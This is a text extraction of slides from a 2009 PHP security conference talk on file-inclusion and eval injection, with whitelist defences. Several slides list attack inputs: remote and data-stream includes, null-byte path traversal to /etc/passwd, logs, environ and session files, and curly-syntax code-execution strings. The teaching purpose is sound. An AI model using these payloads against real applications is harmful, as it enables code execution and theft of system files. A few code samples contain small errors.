Part VI
PHP Code Inclusion
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 1
PHP Code Inclusion
• PHP supports loading other PHP code
• include
• include_once
• require
• require_once
• Loading possible from files and URL streams
• include “/var/www/includes/function.php“;
• include “http://www.example.com/test.php“;
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 2
Static PHP Code Inclusion (I)
• Static inclusion of files
• include “/var/www/includes/functions.php“
• include “topic.php“
• no security problem because it cannot be influenced
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 3
Static PHP Code Inclusion (II)
• Static inclusion of URL Streams
• include “http://www.example.com/test.php“
• include “https://www.example.com/test-ssl.php“
• URL cannot be influenced
• but trusting PHP code from external source
• attackable on network level
➡ potential security problem => should be avoided
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 4
Dynamic PHP Code Inclusion (I)
• Dynamc inclusion
• include $_GET[‘module‘].“.php“
• include “./modules/“. $_GET[‘module‘].“.php“
• Path to include can be influenced
➡ Security problem because path can be changed to
malicious PHP code
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 5
Dynamic PHP Code Inclusion - URLs (I)
• URL Wrapper allows injection of PHP code
• include $_GET[‘module‘].“.php“
• Possible attacks
• include “http://www.example.com/evilcode.txt?.php“;
• include “ftp://ftp.example.com/evilcode.txt?.php“;
• include “data:text/plain;<?php phpinfo();?>.php“;
• include “php://input\0.php“;
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 6
Dynamic PHP Code Inclusion - URLs (II)
• file_exists() is no protection against URL wrappers
if (file_exists($_GET[‘module‘].“.php“))
include $_GET[‘module‘].“.php“;
}
• most URL wrappers do not implement stat()
• but ftp:// wrapper supports stat()
➡ file_exists() check can be bypassed with ftp://
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 7
Dynamic PHP Code Inclusion - Files (I)
• local files can be viewed and locally stored PHP code
can be executed
• include “./modules/“. $_GET[‘module‘].“.php“
• possible attacks
• include “./modules/../../../etc/passwd\0.php“;
• include “./modules/../../../var/log/httpd/access.log\0.php“;
• include “./modules/../../../proc/self/environ\0.php“;
• include “./modules/../../../tmp/sess_XXXXXXXX\0.php“;
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 8
Dynamic PHP Code Inclusion - Files (II)
• protecting include statements should be done with
whitelist approaches
<?php
$allowedModules = array(‘step1‘, ‘step2‘,
‘step3‘, ‘step4‘,
‘step5‘, ‘step6‘);
if (!in_array($module, $allowedModules)) {
$module = $allowedModules[0];
}
include “./modules/$module.php“;
?>
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 9
Part VII
PHP Code Evaluation
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 10
PHP Code Evaluation (I)
• Code compilation and execution at runtime
• in PHP
• eval()
• create_function()
• preg_replace() with /e modifizierer
• assert()
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 11
PHP Code Evaluation (II)
• potential security problem if user input is evaluated
• allows execution of arbitrary PHP code
• should be avoided
• is usually not required
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 12
eval() (I)
• embedding user input always dangerous
• filtering with blacklists nearly impossible
• correct escaping is hard - no default functions
• whitelist approach is recommended
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 13
eval() (II)
• Example:
<?php
eval(‘$s = “‘ . addslashes($_GET[‘val‘]) . ‘“;‘);
?>
• not sufficient secured
• danger of information leaks through variables
• index.php?val=$secretVariable
• danger of code execution through complex curly syntax
• index.php?val={${phpinfo()}}
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 14
Complex Curly Syntax
• documented but nearly unknown
• allows code execution within strings
• only within double quotes
• $s = “foo{${phpinfo()}}bar“;
• $s = “foo{${`ls -la /`}}bar“;
• $s = “foo{${eval(base64_decode(‘...‘))}}bar“;
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 15
eval () Whitelist Protection Approach
<?php
$value = isset($_GET[‘val‘]) ? $_GET[‘val‘] : ‘‘;
if (preg_match(“/^[0-9a-z]*$/iD“, $value)) {
$str = “$s = ‘$value‘;“;
eval($str);
?>
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 16
create_function()
• for temporary / lambda functions
• internally only an eval() wrapper
• same injection danger like eval()
• injection possible in both parameters
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 17
create_function() - Internal Wrapper Function
/* Implementation similar */
function create_function($params, $body)
{
$name = “\0__lambda“;
$name .= $GLOBALS[‘lambda_count‘]++;
$str = “function $name($params) {$body}“;
eval($str);
return $name;
}
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 18
preg_replace() (I)
• /e modifier allows execution of PHP code to modify the
matches
preg_replace(‘/&#([0-9]+);/e‘, ‘chr(\1)‘‚ $source);
• Internally during code construction addslashes() is used
$str = “chr(“;
$str .= addslashes($match1);
$str .= “);“;
eval($str);
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 19
preg_replace() (II)
• potential security problem
• matches could inject PHP code
• depends on regular expression
• depends on position in evaluated code
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 20
Secure Usage of the /e Modifier
• /e Modifier can be used in a secure way
• by using single quotes in the evaluated code instead of
double quotes
preg_replace(‘/&#(.+);/e‘, “strtolower(‘\\1‘)“‚ $source);
• single quotes do not allow complex curly syntax
• single quotes will be correctly escaped
• but best solution is getting rid of evaluated code
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 21
preg_replace_callback()
<?php
/* Callback function */
function pr_callback($match)
{
return chr($match[0]);
}
preg_replace_callback(‘/&#([0-9]+);/e‘,
‘pr_callback‘,
$source);
?>
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 22
Questions ?
Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 • June 2009 • 23